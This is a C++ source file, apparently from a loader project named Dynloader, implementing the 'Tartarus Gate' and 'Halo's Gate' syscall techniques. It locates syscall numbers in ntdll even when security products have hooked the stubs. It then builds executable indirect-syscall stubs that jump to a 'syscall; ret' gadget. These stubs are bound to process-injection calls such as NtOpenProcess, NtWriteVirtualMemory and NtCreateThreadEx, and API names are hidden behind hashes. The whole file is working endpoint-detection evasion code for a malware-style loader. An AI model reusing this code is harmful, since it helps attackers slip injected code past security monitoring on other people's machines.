mirror of
https://github.com/AbishekPonmudi/Dynloader
synced 2026-07-15 03:39:09 +00:00
236 lines
7.6 KiB
C++
236 lines
7.6 KiB
C++
#include "tartarus_gate.hpp"
|
|
#include "../pe/pe_parser.hpp"
|
|
#include "../resolve/api_resolver.hpp"
|
|
#include "../common/hashes.hpp"
|
|
|
|
#include "../common/log.hpp"
|
|
|
|
#include <cstring>
|
|
#include <iostream>
|
|
#include <vector>
|
|
|
|
namespace TartarusGate {
|
|
|
|
namespace {
|
|
|
|
std::vector<PVOID> g_stubPages;
|
|
|
|
// Tartarus Gate: resolve SSN from export stub; if hooked (jmp), walk neighbors (Halo's Gate).
|
|
std::uint32_t ExtractSSN(PBYTE stub) {
|
|
// Unhooked x64 stub: 4C 8B D1 B8 imm32
|
|
if (stub[0] == 0x4C && stub[1] == 0x8B && stub[2] == 0xD1 && stub[3] == 0xB8) {
|
|
return *reinterpret_cast<DWORD*>(stub + 4);
|
|
}
|
|
return 0;
|
|
}
|
|
|
|
std::uint32_t HaloResolve(PBYTE stub) {
|
|
for (int j = 1; j <= 500; ++j) {
|
|
auto* down = stub + (j * 0x20);
|
|
if (down[0] == 0x4C && down[1] == 0x8B && down[3] == 0xB8) {
|
|
const auto neighbor = *reinterpret_cast<DWORD*>(down + 4);
|
|
return neighbor - static_cast<std::uint32_t>(j);
|
|
}
|
|
auto* up = stub - (j * 0x20);
|
|
if (up[0] == 0x4C && up[1] == 0x8B && up[3] == 0xB8) {
|
|
const auto neighbor = *reinterpret_cast<DWORD*>(up + 4);
|
|
return neighbor + static_cast<std::uint32_t>(j);
|
|
}
|
|
}
|
|
return 0;
|
|
}
|
|
|
|
static HMODULE NtdllBase() {
|
|
return ApiResolver::GetNtdll();
|
|
}
|
|
|
|
static FARPROC NtdllExport(std::uint32_t hash) {
|
|
return PeParser::GetExportByHash(NtdllBase(), hash);
|
|
}
|
|
|
|
PVOID AllocStubPage(const void* code, size_t size) {
|
|
// Bootstrap stub pages via direct ntdll exports (one-time); all runtime ops use indirect stubs.
|
|
auto* pAlloc = reinterpret_cast<fnNtAllocateVirtualMemory>(
|
|
NtdllExport(Hashes::H_NtAllocateVirtualMemory));
|
|
auto* pProt = reinterpret_cast<fnNtProtectVirtualMemory>(
|
|
NtdllExport(Hashes::H_NtProtectVirtualMemory));
|
|
if (!pAlloc || !pProt) {
|
|
return nullptr;
|
|
}
|
|
|
|
PVOID base = nullptr;
|
|
SIZE_T region = size;
|
|
if (!NT_SUCCESS(pAlloc(GetCurrentProcess(), &base, 0, ®ion,
|
|
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)) || !base) {
|
|
return nullptr;
|
|
}
|
|
std::memcpy(base, code, size);
|
|
ULONG old = 0;
|
|
PVOID protBase = base;
|
|
SIZE_T protSize = region;
|
|
if (!NT_SUCCESS(pProt(GetCurrentProcess(), &protBase, &protSize,
|
|
PAGE_EXECUTE_READ, &old))) {
|
|
return nullptr;
|
|
}
|
|
g_stubPages.push_back(base);
|
|
return base;
|
|
}
|
|
|
|
} // anonymous namespace
|
|
|
|
std::uint32_t ResolveSSN(HMODULE ntdll, std::uint32_t exportHash) {
|
|
if (!ntdll) {
|
|
Log::Err("Unable to Resolve SSN %s");
|
|
return 0;
|
|
}
|
|
|
|
auto* base = reinterpret_cast<PBYTE>(ntdll);
|
|
auto* nt = PeParser::GetNtHeaders(ntdll);
|
|
if (!nt) {
|
|
return 0;
|
|
}
|
|
|
|
const auto& dir = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
|
|
if (!dir.VirtualAddress) {
|
|
return 0;
|
|
}
|
|
|
|
auto* exp = reinterpret_cast<PIMAGE_EXPORT_DIRECTORY>(base + dir.VirtualAddress);
|
|
auto* names = reinterpret_cast<PDWORD>(base + exp->AddressOfNames);
|
|
auto* ords = reinterpret_cast<PWORD>(base + exp->AddressOfNameOrdinals);
|
|
auto* funcs = reinterpret_cast<PDWORD>(base + exp->AddressOfFunctions);
|
|
|
|
for (DWORD i = 0; i < exp->NumberOfNames; ++i) {
|
|
const char* exportName = reinterpret_cast<const char*>(base + names[i]);
|
|
if (Hashes::Djb2(exportName) != exportHash) {
|
|
continue;
|
|
}
|
|
|
|
auto* stub = base + funcs[ords[i]];
|
|
|
|
// Tartarus: detect hook (jmp/call redirect).
|
|
if (stub[0] == 0xE9 || stub[0] == 0xEB || stub[0] == 0xFF) {
|
|
Log::Dbg("SSN resolve: hooked stub @ %p first=0x%02X — Halo's Gate",
|
|
stub, stub[0]);
|
|
return HaloResolve(stub);
|
|
}
|
|
|
|
auto ssn = ExtractSSN(stub);
|
|
if (ssn) {
|
|
Log::Dbg("SSN resolve: clean stub @ %p SSN=%u", stub, ssn);
|
|
return ssn;
|
|
}
|
|
Log::Dbg("SSN resolve: clean pattern miss @ %p — Halo's Gate", stub);
|
|
return HaloResolve(stub);
|
|
}
|
|
return 0;
|
|
}
|
|
|
|
PVOID FindSyscallGadget(HMODULE ntdll) {
|
|
if (!ntdll) {
|
|
return nullptr;
|
|
}
|
|
|
|
auto* base = reinterpret_cast<PBYTE>(ntdll);
|
|
auto* nt = PeParser::GetNtHeaders(ntdll);
|
|
if (!nt) {
|
|
return nullptr;
|
|
}
|
|
|
|
auto* sec = IMAGE_FIRST_SECTION(nt);
|
|
for (WORD i = 0; i < nt->FileHeader.NumberOfSections; ++i) {
|
|
if (std::memcmp(sec[i].Name, ".text", 5) != 0) {
|
|
continue;
|
|
}
|
|
PBYTE start = base + sec[i].VirtualAddress;
|
|
DWORD size = sec[i].Misc.VirtualSize;
|
|
for (DWORD off = 0; off + 2 < size; ++off) {
|
|
// syscall; ret
|
|
if (start[off] == 0x0F && start[off + 1] == 0x05 && start[off + 2] == 0xC3) {
|
|
return start + off;
|
|
}
|
|
}
|
|
}
|
|
return nullptr;
|
|
}
|
|
|
|
PVOID CreateIndirectStub(std::uint32_t ssn, PVOID gadget) {
|
|
if (!gadget || ssn == 0) {
|
|
return nullptr;
|
|
}
|
|
|
|
// mov r10, rcx | mov eax, SSN | jmp [rip+0] | dq gadget
|
|
static const BYTE hdr[] = {
|
|
0x4C, 0x8B, 0xD1,
|
|
0xB8, 0x00, 0x00, 0x00, 0x00,
|
|
0xFF, 0x25, 0x00, 0x00, 0x00, 0x00
|
|
};
|
|
|
|
BYTE buf[sizeof(hdr) + sizeof(PVOID)] = {};
|
|
std::memcpy(buf, hdr, sizeof(hdr));
|
|
*reinterpret_cast<DWORD*>(buf + 4) = ssn;
|
|
*reinterpret_cast<PVOID*>(buf + sizeof(hdr)) = gadget;
|
|
|
|
PVOID page = AllocStubPage(buf, sizeof(buf));
|
|
return page;
|
|
}
|
|
|
|
bool BindSyscall(SyscallTable& table, std::uint32_t hash, PVOID& outStub, const char* debugTag) {
|
|
auto* ntdll = ApiResolver::GetNtdll();
|
|
const auto ssn = ResolveSSN(ntdll, hash);
|
|
if (!ssn) {
|
|
Log::Raw("TartarusGate SSN FAIL hash=0x%08X tag=%s", hash, debugTag);
|
|
return false;
|
|
}
|
|
outStub = CreateIndirectStub(ssn, table.gadget);
|
|
if (!outStub) {
|
|
Log::Raw("TartarusGate STUB FAIL SSN=%u tag=%s", ssn, debugTag);
|
|
return false;
|
|
}
|
|
Log::Raw("syscall %-28s SSN=%4u stub=%p gadget=%p", debugTag, ssn, outStub, table.gadget);
|
|
return true;
|
|
}
|
|
|
|
bool Initialize(SyscallTable& table) {
|
|
auto* ntdll = ApiResolver::GetNtdll();
|
|
if (!ntdll) {
|
|
return false;
|
|
}
|
|
|
|
table.gadget = FindSyscallGadget(ntdll);
|
|
if (!table.gadget) {
|
|
return false;
|
|
}
|
|
Log::Banner("Tartarus Gate Init");
|
|
Log::Raw("ntdll=%p | indirect syscall; ret gadget=%p", ntdll, table.gadget);
|
|
|
|
PVOID stub = nullptr;
|
|
|
|
#define BIND(field, hash, tag) \
|
|
if (!BindSyscall(table, hash, stub, tag)) return false; \
|
|
table.field = reinterpret_cast<decltype(table.field)>(stub)
|
|
|
|
BIND(NtAllocateVirtualMemory, Hashes::H_NtAllocateVirtualMemory, "NtAllocateVirtualMemory");
|
|
BIND(NtProtectVirtualMemory, Hashes::H_NtProtectVirtualMemory, "NtProtectVirtualMemory");
|
|
BIND(NtWriteVirtualMemory, Hashes::H_NtWriteVirtualMemory, "NtWriteVirtualMemory");
|
|
BIND(NtFreeVirtualMemory, Hashes::H_NtFreeVirtualMemory, "NtFreeVirtualMemory");
|
|
BIND(NtCreateSection, Hashes::H_NtCreateSection, "NtCreateSection");
|
|
BIND(NtMapViewOfSection, Hashes::H_NtMapViewOfSection, "NtMapViewOfSection");
|
|
BIND(NtUnmapViewOfSection, Hashes::H_NtUnmapViewOfSection, "NtUnmapViewOfSection");
|
|
BIND(NtOpenProcess, Hashes::H_NtOpenProcess, "NtOpenProcess");
|
|
BIND(NtCreateThreadEx, Hashes::H_NtCreateThreadEx, "NtCreateThreadEx");
|
|
BIND(NtClose, Hashes::H_NtClose, "NtClose");
|
|
BIND(NtQuerySystemInformation, Hashes::H_NtQuerySystemInformation, "NtQuerySystemInformation");
|
|
|
|
#undef BIND
|
|
|
|
table.initialized = true;
|
|
return true;
|
|
}
|
|
|
|
void CleanupStubs() {
|
|
// Stubs are small RX pages; leak on exit is acceptable for loader lifetime.
|
|
g_stubPages.clear();
|
|
}
|
|
|
|
} // namespace TartarusGate
|